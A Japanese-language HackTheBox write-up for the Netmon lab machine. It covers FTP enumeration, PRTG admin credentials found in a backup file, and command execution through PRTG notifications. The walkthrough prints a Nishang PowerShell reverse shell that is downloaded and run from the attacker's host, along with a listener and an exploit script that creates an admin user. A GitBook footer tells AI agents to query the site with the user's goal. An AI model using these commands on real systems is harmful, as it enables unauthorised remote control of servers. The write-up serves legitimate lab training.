> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Netmon HackTheBox攻略記事 FTP列挙、情報漏えい、PRTG Network Monitorの資格情報漏えい、PRTG通知コマンド実行を扱うNetmon HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙 {% embed url="" %} {% hint style="warning" %} **スキル:** * FTP列挙 * 情報漏えい * PRTG Network Monitor の認証情報漏えい * PRTG 通知コマンド実行 * PowerShell リバースシェルの配信 {% endhint %} ## 偵察ワークスペースを作成し、全TCPスキャンを実行する: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```

対象のサービススキャンを実行する: ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```

## FTP 列挙 FTP は匿名アクセスを許可している。

ユーザーフラグは FTP 経由でユーザーのデスクトップパスから読み取れる。

## PRTG Network Monitor ポート80では **PRTG Network Monitor** Webインターフェースが公開されている。

設定ディレクトリを確認する: ``` ProgramData/Paessler/PRTG Network Monitor/ ```

バックアップ設定ファイルから認証情報が得られる: ``` PRTG Configuration.old.bak ```

復元された認証情報: * ユーザー名: `prtgadmin` * パスワード: `PrTg@dmin2018`

このファイルは古いバックアップなので、パスワードの年を更新して試す。アクセスは次で有効: ``` PrTg@dmin2019 ```

## PRTG RCE PRTG の通知はサーバー上でコマンドを実行できる。ホストした PowerShell リバースシェルスクリプトを使い、通知アクション経由で実行させる。 {% embed url="" %} PowerShell ペイロードをダウンロードして準備する: ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` リスナーを起動します: ```bash rlwrap nc -nvlp 443 ``` PRTG で次へ移動する: `Setup > Account Settings > Notifications` そして、ホストしたスクリプトをダウンロードして実行する通知アクションを作成する。

コマンドの形式: {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} ダウンロードのコールバックが HTTP サーバーに届くがシェルが返ってこない場合は、PowerShell スクリプトを UTF-16LE の Base64 にエンコードし、次で実行する `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## 自動化された攻撃手順 SearchSploit には、有効な認証済み Cookie があれば新しい管理者ユーザーを作成する PRTG のエクスプロイトが含まれている。 ```bash searchsploit -m windows/webapps/46527.sh ``` 対象 URL とセッション Cookie を指定してエクスプロイトを実行する: {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} このエクスプロイトは次を作成する: * ユーザー名: `pentest` * パスワード: `P3nT3st!`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.